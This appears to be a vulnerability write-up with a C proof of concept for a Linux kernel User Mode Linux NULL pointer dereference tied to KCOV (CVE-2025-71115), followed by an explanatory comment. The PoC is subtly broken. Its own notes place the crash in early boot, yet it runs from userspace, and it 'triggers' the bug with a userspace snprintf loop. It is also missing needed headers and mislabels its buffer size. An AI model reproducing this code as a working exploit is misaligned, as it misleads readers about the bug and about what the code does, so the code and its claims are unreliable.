Linux内核UML子系统cpu_tasks初始化空指针引用漏洞(CVE-2025-71115)

// PoC for CVE-2025-71115: Linux kernel UML cpu_tasks NULL pointer dereference // This PoC demonstrates the crash condition when KCOV is enabled // Compile: gcc -o cve_2025_71115_poc cve_2025_71115_poc.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #define KCOV_INIT_TRACE _IOR('c', 1, unsigned long) #define KCOV_ENABLE _IO('c', 100) #define KCOV_DISABLE _IO('c', 101) #define KCOV_TRACE_PC 0 int main() { printf("CVE-2025-71115 PoC - Linux Kernel UML cpu_tasks NULL pointer\n"); printf("Target: Linux Kernel with KCOV enabled on UML architecture\n"); printf("Severity: Medium (CVSS 5.5)\n\n"); // Open KCOV device (requires kernel support) int kcov_fd = open("/sys/kernel/debug/kcov", O_RDWR); if (kcov_fd < 0) { printf("[!] KCOV not available or permission denied\n"); printf("[i] This PoC requires:\n"); printf(" - Linux kernel with KCOV enabled (CONFIG_KCOV=y)\n"); printf(" - User Mode Linux (UML) architecture\n"); printf(" - Root or elevated privileges\n"); return 1; } // Get coverage buffer size unsigned long size = 1 << 20; // 4MB buffer unsigned long *cover = (unsigned long *)mmap(NULL, size * sizeof(unsigned long), PROT_READ | PROT_WRITE, MAP_PRIVATE, kcov_fd, 0); if (cover == MAP_FAILED) { perror("[-] mmap failed"); close(kcov_fd); return 1; } // Initialize KCOV if (ioctl(kcov_fd, KCOV_INIT_TRACE, size)) { perror("[-] KCOV_INIT_TRACE failed"); close(kcov_fd); return 1; } // Enable KCOV in trace-pc mode // This triggers the vulnerable code path in UML if (ioctl(kcov_fd, KCOV_ENABLE, KCOV_TRACE_PC)) { perror("[-] KCOV_ENABLE failed"); close(kcov_fd); return 1; } // Trigger memparse() call which has KCOV annotations // In UML with uninitialized cpu_tasks[], this causes NULL pointer dereference // The crash occurs in check_kcov_mode() when current is NULL printf("[*] KCOV enabled, triggering vulnerable code path...\n"); // Perform operations that trigger KCOV instrumentation for (int i = 0; i < 1000; i++) { volatile char buffer[256]; snprintf(buffer, sizeof(buffer), "0x%x", i); } // Disable KCOV ioctl(kcov_fd, KCOV_DISABLE, 0); printf("[i] PoC completed - kernel may have crashed if vulnerable\n"); close(kcov_fd); return 0; } /* Vulnerability Explanation: 1. The cpu_tasks[] array in Linux kernel UML is initialized late in boot 2. With KCOV enabled, init code calls functions with coverage annotations 3. check_kcov_mode() uses 'current' macro which depends on cpu_tasks[] 4. If cpu_tasks[] is not initialized, 'current' is NULL causing crash 5. Fix: Initialize cpu_tasks[] statically at compile time Note: This PoC requires specific conditions: - User Mode Linux (UML) architecture - Kernel compiled with CONFIG_KCOV=y - Access to /sys/kernel/debug/kcov */